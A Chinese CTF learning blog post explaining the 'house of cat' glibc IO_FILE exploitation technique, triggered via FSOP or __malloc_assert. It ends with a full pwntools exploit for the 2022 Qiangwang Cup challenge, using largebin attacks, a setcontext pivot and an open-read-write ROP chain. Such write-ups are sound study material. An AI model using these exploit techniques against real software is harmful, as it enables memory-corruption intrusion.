house of cat

发布时间 2023-07-27 21:59:44作者: Sta8r9

house of cat

概述

​ 在libc2.24之后,增加了对vtable地址合法性的检查,无法直接改vtable为后门函数getshell,衍生出了一些二次跳转进行攻击的IO链,house of cat本质上是对一条简单的函数调用链的利用,需要绕过的检查很少。伪造一个_IO_FILE_plus结构体,通过FSOP或者__malloc_assert触发IO攻击。

利用前提

​ 可以泄露libcheap

​ 可以任意地址写一个堆地址(通常是largebin attack

​ 可以触发IO流FSOP或者触发__malloc_assert

利用原理

前置知识

_IO_FILE

​ 进程中的FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部。

struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* 读取至当前指针地址 */ 
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* 输出缓冲区基地址 */
    char* _IO_write_ptr;  /* 输出缓冲区指针地址 */
    char* _IO_write_end;  /* 输出缓冲区结束地址 */
    char* _IO_buf_base;   /* 输入输出缓冲区基地址 */
    char* _IO_buf_end;    /* 输入输出缓冲区结束地址 */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;	/*_IO_file通过_chain相连,该成员记录下一个_IO_file的地址*/
 
    int _fileno;	/*该_IO_file_的文件标识符*/
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;	/* This used to be _offset but it's too small.  */
 
#define __HAVE_COLUMN	/* temporary */
    unsigned short _cur_column;  #2bytes
    signed char _vtable_offset;	 #1bytes
    char _shortbuf[1];			
    
    /*  char* _save_gptr;  char* _save_egptr; */
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_jump_t

vtale定义:struct _IO_jump_t *vtable。它本质上是一个_IO_jump_t结构体指针变量,指向的内存区域存储了19个虚函数指针,在使用FILE结构体进行IO操作的过程中会通过这些虚函数指针调用到对应的函数,这样的vtable有很多。例如,_IO_FILE_plusvtable默认为_IO_file_jumps、house of obstack用到的vtable_IO_obstack_jumps,而本次记录的house of cat用到的vtable则是_IO_wfile_jumps

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

_IO_FILE_plus

​ 下面的FILE其实就是_IO_FILE,可以看到这个结构体就是对_IO_FOLE和指向_IO_jump_t 结构体的指针vtable的封装。

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_wide_data

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

原理分析

对vtable合法性的检测

​ 在glibc2.24及以后,加入了针对 IO_FILE_plusvtable 的检测措施,在调用虚函数之前会先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查,如果vtable是非法的就会引发 abort

void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();
  return vtable;
}

house of cat核心调用链

​ 在_IO_wfile_jumps虚表中存在一个_IO_wfile_seekoff函数。

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),										//关注这里、、、
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wfile_seekoff源码见下(只截取关键部分)。其中was_writing是一个布尔变量,根据括号内的结果对其进行赋值,它决定了能否进入_IO_switch_to_wget_mode (fp)函数。

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  /* Short-circuit into a separate function.  We don't want to mix any
     functionality and we don't want to touch anything inside the FILE
     object. */
  if (mode == 0)
    return do_ftell_wide (fp);

  /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
     offset of the underlying file must be exact.  */
  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr									//关注这里、、、、、、
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));

  /* Flush unwritten characters.
     (This may do an unneeded write if we seek within the buffer.
     But to be able to switch to reading, we would need to set
     egptr to pptr.  That can't be done in the current design,
     which assumes file_ptr() is eGptr.  Anyway, since we probably
     end up flushing when we close(), it doesn't make much difference.)
     FIXME: simulate mem-mapped files. */
  if (was_writing && _IO_switch_to_wget_mode (fp))										//关注这里、、、、、、
    return WEOF;
……
}

_IO_switch_to_wget_mode (fp)函数源码如下。该函数在house of cat中的作用就是进行一次if判断,再调用_IO_WOVERFLOW (fp, WEOF)

_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)			//这个if在_IO_wfile_seekoff函数中已经判断过一次
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)								//关注这里、、、、、、	执行一个宏调用函数			
      return EOF;
  if (_IO_in_backup (fp))
    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
  else
    {
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
      if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
	fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
    }
  fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
    = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

  fp->_flags &= ~_IO_CURRENTLY_PUTTING;
  return 0;
}

​ 通过了第一个if语句后就会执行_IO_WOVERFLOW (fp, WEOF)函数,而这个if语句的判断条件其实和_IO_wfile_seekoff函数中的那个if的判断条件是一样的。

​ 这个_IO_WOVERFLOW (fp, WEOF)函数是由_IO_FILE_plus结构体的_wide_data字段所指向的_IO_wide_data结构体的_wide_vtable字段所指向的虚表中偏移为0xe0的虚表函数。也就是这个意思:fp->_wide_data->_wide_vtable->offset=0xe0

​ 由于fp是我们伪造而来的,所以这个_IO_WOVERFLOW (fp, WEOF)也是我们可控的,可以控制为system直接getshell(emm、、这个理论上可行,此时的rdi是fp貌似是可控的,不过这种做法我还没见过,不敢妄下结论,因为rdi用的参数是fp的第一个内存单元,而在用largebin attack伪造结构体时它是堆块的header,一般是不可写的,像这种情况下就没办法控制rdi为/bin/sh)或者setcontext栈迁移加ORW绕过沙箱。

​ 实践发现,在调用_wide_vtable中的函数时_IO_vtable_check并没有检查虚表地址的合法性,因为我把它换成了堆地址程序仍然在正常运行,不过想想也是合理的,_IO_vtable_check的参数是const struct _IO_jump_t *vtable而此虚表是struct _IO_jump_t *_wide_vtable

​ 现在来回顾一下需要绕过的检查,貌似只有这一个=>>>fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base<<<==。不过这只是从_IO_wfile_seekoff_IO_switch_to_wget_mode (fp)再到_IO_WOVERFLOW (fp, WEOF)

​ 接下来探究一下如何走到_IO_wfile_seekoff,有两种方式,FSOP__malloc_assert

FSOP

​ 之前提到过,在内核启动时默认打开三个IO设备文件,stdinstdoutstderr,它们分明别指向了三个_IO_FILE_plus结构体,对应文件描述符0、1、2。通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部。在程序退出时会执行_IO_flush_all_lockp函数,根据_IO_list_all刷新所有文件流,其中会跳转至fp->vtable->offset=0x18,执行_IO_OVERFLOW函数。

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);            
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)            //遍历_IO_list_all中所有fp,刷新所有文件流
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)										//关注这里、、、,
	result = EOF;
……
}

​ 因此,第一种利用方式就是篡改_IO_list_all为伪造的结构体,通过_IO_flush_all_lockp进行攻击。

​ 触发FSOP的方法有三种:能从main函数中返回程序中能执行exit函数libc中执行abort(高版本已弃用)

__malloc_assert

__malloc_assert 函数的作用就是在动态内存分配失败时,提供一种处理这种情况的方法。它可能会打印错误信息、触发断言(assert)或执行其他错误处理操作。

__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

​ 该函数根据stderr所指向的结构体进行相关的IO操作,并在经过多次函数调用后最终会跳转至fp->vtable->offset=>0x38所指函数处执行。正常调用链如下,

__malloc_assert> __fxprintf>__vfxprintf>locked_vfxprintf>__vfprintf_internal==>_IO_file_xsputn(vtable)。

​ 因此,第二种利用方式就是篡改stderr所指向的结构体,设置好结构体各个字段值以绕过检查最终执行敏感函数。

​ 目前我已知正确的触发__malloc_assert的方法是把top_chunk的大小改小,当申请堆块大小大于top_chunk的大小时触发__malloc_assert。(查到的触发__malloc_assert函数的方法有三种:topchunk的大小小于MINSIZE(0X20)prev inuse位为0old_top页未对齐emm、、、这三种情况我还并未全部验证,不过第二种貌似不行,我在做题时把perv inuseed改为0后申请堆块并未触发__malloc_assert,不知道是哪里的问题,求指点。)

​ 在这里给出用__malloc_assert进行攻击的函数宏观调用链供参考:

calloc>>_int_malloc>>sysmalloc>>__malloc_assert>>__fxprintf>>locked_vfxprintf>>__vfprintf_internal>>_IO_wfile_seekoff>>_IO_switch_to_wget_mode==>>_IO_WOVERFLOW (fp, WEOF)

​ 伪造结构体时需要布置的字段值或者绕过的检查(重点是wide_data和其指向的_IO_wide_data结构体):

  • fp->wide_data->IO_write_ptr > fp->_wide_data->_IO_write_base(绕过_IO_wfile_seekoff中的if判断,同时需要布局好_IO_wide_data结构体为后面调用敏感函数做准备)
  • lock==writable address(随便一个具有w权限的地址,这个地址是程序打印报错信息需要的,和house of cat无关)
  • vtable=IO_wfile_jumps+0x10(vtable需要为IO_wfile_jumps+0x10,加上程序中的偏移0x38后正好可以调用到_IO_wfile_seekoff)
  • mode字段为0、1、-1均可不影响结果
  • 如果直接调用system,需要设置好fp的第一个内存单元(rdi).
  • 如果调用setcontext打栈迁移加orw,需要设置好fp->_wide_data->_IO_write_ptr,这个_IO_write_ptr即为setcontext函数的rdx

攻击流程

FSOP

​ 伪造_IO_FILE_plus(布置好字段值,尤其是_wide_data及其指向的_IO_wide_data结构体),篡改_IO_list_all(一般为largebin attack),执行_IO_flush_all_lockp函数(exit或者从main函数返回)触发攻击。

__malloc_assert

​ 伪造_IO_FILE_plus(布置好字段值,尤其是_wide_data及其指向的_IO_wide_data结构体),篡改stderr所指向的_IO_2_1_stderr_结构体(一般为largebin attack),把top_chunk的大小改小,当其大小小于要申请的堆块大小时会触发__malloc_assert进行攻击。

利用模板

​ 这是一个触发__malloc_assertorw时的适用模板,其中setcontext+61和IO_wfile_jumps_0x10即为libc地址加偏移,writable即为一个任意可写地址(和house of cat无关,放一个具有W权限的地址即可),heap_rop为布置的rop链的地址(rdx),heap_header为存放fake_struct的堆地址这里将_IO_wide_data结构体和_IO_FILE_plus布置到了一个堆块,&&后为_IO_wide_data结构体的对应字段。

​ 需要填充的的是heap_ropheap_headerwritablesetcontextIO_wfile_jumps_0x10

_IO_FILE_plus=	p64(0)						#_IO_read_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_read_base   	    				8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_base							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_ptr							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_end	&&IO_wide_data->_IO_read_ptr		 			    8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_buf_base	&&IO_wide_data->_IO_read_end						8 bytes	
_IO_FILE_plus+=	p64(setcontext+61)			#_IO_buf_end	&&IO_wide_data->_IO_read_base	=====后门函数====	 8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_save_base	&&IO_wide_data->_IO_write_base						8 bytes
_IO_FILE_plus+=	p64(heap_rop-0xa0)			#_IO_backup_base   &&IO_wide_data->_IO_write_ptr	====rdx====		8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_save_end							8 bytes	
_IO_FILE_plus+=	p64(0)			            #_markers								8 bytes	
_IO_FILE_plus+=	p64(0)						#_chain									8 bytes	
_IO_FILE_plus+=	p32(0)						#_fileno								4 bytes
_IO_FILE_plus+=	p32(0)						#_flags2								4 bytes
_IO_FILE_plus+=	p64(0)						#_old_offset							8 bytes
_IO_FILE_plus+=	p16(0)						#_cur_column							2 bytes
_IO_FILE_plus+=	p8(0)						#_vtable_offset							1 bytes
_IO_FILE_plus+=	p8(0)						#_shortbuf								1 bytes
_IO_FILE_plus+=	p32(0)						#为对齐内存单元而填充的4字节,对字段值无影响	4 bytes
_IO_FILE_plus+=	p64(writable)				#_lock									8 bytes		====可写地址=====
_IO_FILE_plus+=	p64(0)						#_offset								8 bytes
_IO_FILE_plus+=	p64(0)						#_codecvt								8 bytes
_IO_FILE_plus+=	p64(heap_header+0x30)		#_wide_data								8 bytes		====_IO_wide_data===
_IO_FILE_plus+=	p64(0)						#_freeres_list							8 bytes
_IO_FILE_plus+=	p64(0)						#_freeres_buf							8 bytes
_IO_FILE_plus+=	p64(0)						#__pad5									8 bytes
_IO_FILE_plus+=	p32(0)						#_mode									4 bytes
_IO_FILE_plus+=	p64(0)+p64(0)+p32(0)		#_unused2								0x14 bytes
_IO_FILE_plus+=	p64(IO_wfile_jumps_0x10)	#vtable									8 bytes											total:  0xe0 bytes
_IO_FILE_plus+=p64(0)*6                     #将_IO_wide_data结构体和_IO_FILE_plus布置到了一个堆块,从这行开始其实已经是属于_IO_wide_data的内容了。
_IO_FILE_plus+=p64(heap_header+0x8*5)       #												========_IO_wide_data->_wide_vtable=======	

​ 在解题中需要布置_IO_FILE_plus结构体的各个字段值时,由于成员变量的数据类型参差不齐,有大有小,再加上内存单元对齐的原因,即使在借助GDB动调的情况下也往往不能快速准确的设置相应字段的值,所以我对照GDB将成员变量在内存中的相对位置整理了一下(以_IO_2_1_stderr_为例):

pwndbg> p (struct _IO_FILE_plus) *0x7ffff7e1a6a0
$1 = {
  file = {
    _flags = -72540026,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7e16600 <_IO_file_jumps>
}

​ 值得注意的是,使用堆块伪造该结构体时,只能向用户数据部分写入数据,因此结构体的前两个字段(_flags_IO_read_ptr)通常是不可控的,构造时应从_IO_read_end开始。

_IO_FILE_plus=p64(0)	   					#_flags 			    				8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_read_ptr							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_read_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_read_base   	    				8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_base							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_ptr							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_buf_base							8 bytes	
_IO_FILE_plus+=	p64(0)						#_IO_buf_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_save_base							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_backup_base						8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_save_end							8 bytes	
_IO_FILE_plus+=	p64(0)						#_markers								8 bytes	
_IO_FILE_plus+=	p64(0)						#_chain									8 bytes	
_IO_FILE_plus+=	p32(0)						#_fileno								4 bytes
_IO_FILE_plus+=	p32(0)						#_flags2								4 bytes
_IO_FILE_plus+=	p64(0)						#_old_offset							8 bytes
_IO_FILE_plus+=	p16(0)						#_cur_column							2 bytes
_IO_FILE_plus+=	p8(0)						#_vtable_offset							1 bytes
_IO_FILE_plus+=	p8(0)						#_shortbuf								1 bytes
_IO_FILE_plus+=	p32(0)						#为对齐内存单元而填充的4字节,对字段值无影响	   4 bytes
_IO_FILE_plus+=	p64(0)						#_lock									8 bytes
_IO_FILE_plus+=	p64(0)						#_offset								8 bytes
_IO_FILE_plus+=	p64(0)						#_codecvt								8 bytes
_IO_FILE_plus+=	p64(0)						#_wide_data								8 bytes
_IO_FILE_plus+=	p64(0)						#_freeres_list							8 bytes
_IO_FILE_plus+=	p64(0)						#_freeres_buf							8 bytes
_IO_FILE_plus+=	p64(0)						#__pad5									8 bytes
_IO_FILE_plus+=	p32(0)						#_mode									4 bytes
_IO_FILE_plus+=	p64(0)+p64(0)+p32(0)		#_unused2								0x14 bytes
_IO_FILE_plus+=	p64(0)						#vtable									8 bytes											total:  0xe0 bytes

2022强网杯-houseofcat

image-20230727192549634

​ 题目保护全开,设置了白名单,并且限制了read函数的第一个参数必须为0。题目存在明显的uaf,无堆溢出,无exit函数,无法从main函数正常返回。所以解题思路就是利用largebin attack篡改stderr指向的结构体,修改top_chunk的大小小于所申请的堆块大小触发__malloc_assert,利用setcontext函数先close(0),再打栈迁移加orw

​ 这个题加了点小障碍,需要逆向分析输入特定的字符串"LOGIN | r00t QWBQWXFaadmin"和"CAT | r00t QWBQWXF$"+p64(0xffffffff)才能走到堆管理部分,对我这个新手很不友好,从上午逆到下午,快菜哭了。

  • add 函数申请的堆块大小的范围是 0x418~0x46f ,申请完堆块后可以立即写入 size 字节的数据
  • free 函数存在 UAF 漏洞
  • edit 函数只能使用两次,并且只能写入 0x30 字节的数据
  • show 函数只能泄露 0x30 字节的数据

EXP

from tools import *
context.log_level="debug"
p,elf,libc=load("houseofcat")

p.sendafter("~~~~~~","LOGIN | r00t QWBQWXFaadmin")

def add(idx,size,msg):
    p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
    p.sendafter('plz input your cat choice:\n',str(1))
    p.sendafter("plz input your cat idx:\n",str(idx))
    p.sendafter("plz input your cat size:\n",str(size))
    p.sendafter("plz input your content:\n",msg)
def free(idx):
    p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
    p.sendafter('plz input your cat choice:\n',str(2))
    p.sendafter("plz input your cat idx:\n",str(idx))
def edit(idx,msg):
    p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
    p.sendafter('plz input your cat choice:\n',str(4))
    p.sendafter("plz input your cat idx:\n",str(idx))
    p.sendafter("plz input your content:\n",msg)    
def show(idx):
    p.sendafter("~~~~~~",b"CAT | r00t QWBQWXF$"+p64(0xffffffff))
    p.sendafter('plz input your cat choice:\n',str(3))
    p.sendafter("plz input your cat idx:\n",str(idx))

add(0,0x420,"e") 
add(1,0x450,"A")
add(2,0x418,"a")
add(3,0x418,"f")
free(0)
free(2)
show(0)

arena=recv_libc()
libc=arena-0x219ce0
arena=libc+0x21a0d0
stderr=0x21a860+libc

p.recv(2)
heap=u64(p.recv(6).ljust(8,b"\x00"))
heapbase=heap-0xb20

rdi=libc+0x000000000002a3e5
rsi=libc+0x000000000002be51
rdxr12=libc+0x000000000011f497
ret=libc+0x0000000000029cd6
rax=libc+0x0000000000045eb0
setcontext=libc+0x53a65-0x35
close=libc+0x115100
syscall=0x91396+libc
flagaddr=heapbase+0x1c20
ropheap_addr=heapbase+0x24b0
heap_rop=heapbase+0x24b0-0xa0
IO_wfile_jumps_0x10=libc+0x2160d0
heap_io=heapbase+0xb20
writable=heapbase+0x2900

_IO_FILE_plus=	p64(0)						#_IO_read_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_read_base   	    				8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_base							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_write_ptr							8 bytes
_IO_FILE_plus+=	p64(setcontext+61)			#_IO_write_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_buf_base							8 bytes	
_IO_FILE_plus+=	p64(heap_rop)				#_IO_buf_end							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_save_base							8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_backup_base						8 bytes
_IO_FILE_plus+=	p64(0)						#_IO_save_end							8 bytes	
_IO_FILE_plus+=	p64(0)						#_markers								8 bytes	
_IO_FILE_plus+=	p64(0)						#_chain									8 bytes	
_IO_FILE_plus+=	p32(0)						#_fileno								4 bytes
_IO_FILE_plus+=	p32(0)						#_flags2								4 bytes
_IO_FILE_plus+=	p64(0)						#_old_offset							8 bytes
_IO_FILE_plus+=	p16(0)						#_cur_column							2 bytes
_IO_FILE_plus+=	p8(0)						#_vtable_offset							1 bytes
_IO_FILE_plus+=	p8(0)						#_shortbuf								1 bytes
_IO_FILE_plus+=	p32(0)						#为对齐内存单元而填充的4字节,对字段值无影响	   4 bytes
_IO_FILE_plus+=	p64(writable)				#_lock									8 bytes
_IO_FILE_plus+=	p64(0)						#_offset								8 bytes
_IO_FILE_plus+=	p64(0)						#_codecvt								8 bytes
_IO_FILE_plus+=	p64(heap_io+0x20)			#_wide_data								8 bytes
_IO_FILE_plus+=	p64(0)						#_freeres_list							8 bytes
_IO_FILE_plus+=	p64(0)						#_freeres_buf							8 bytes
_IO_FILE_plus+=	p64(0)						#__pad5									8 bytes
_IO_FILE_plus+=	p32(0)						#_mode									4 bytes
_IO_FILE_plus+=	p64(0)+p64(0)+p32(0)		#_unused2								0x14 bytes
_IO_FILE_plus+=	p64(IO_wfile_jumps_0x10)	#vtable									8 bytes											total:  0xe0 bytes
_IO_FILE_plus+=p64(0)*4                     #将_IO_wide_data结构体和_IO_FILE_plus布置到了一个堆块,从这行开始其实已经是属于_IO_wide_data的内容了。
_IO_FILE_plus+=p64(heap_io+0x18)            #_IO_wide_data->_wide_vtable
add(4,0x418,_IO_FILE_plus)
add(5,0x450,"a")
add(6,0x440,"h") #U
free(4)
edit(0,p64(arena)*2+p64(heap)+p64(stderr-0x20))             #first largebin attack 
add(7,0x440,"flag")
add(8,0x430,"a")

payload=p64(ropheap_addr)+p64(rdi)+p64(0)+p64(close)
payload+=p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
payload+=p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(2)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(1)+p64(syscall)

free(6)
add(9,0x450,payload)
add(10,0x460,"1")
add(11,0x460,"1")
add(12,0x460,"1")
free(8)
free(11)
topsize=heapbase+0x3653
top_0x20=topsize-0x20
edit(6,p64(libc+0x21a0e0)*2+p64(heapbase+0x17c0)+p64(top_0x20))         #second largebin attack
add(13,0x460,"2")


add(14,0x468,"2")
p.interactive()

参考链接

[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪-安全社区|安全招聘|kanxue.com

20220701- IO_FILE专题 - 7resp4ss - 博客园 (cnblogs.com)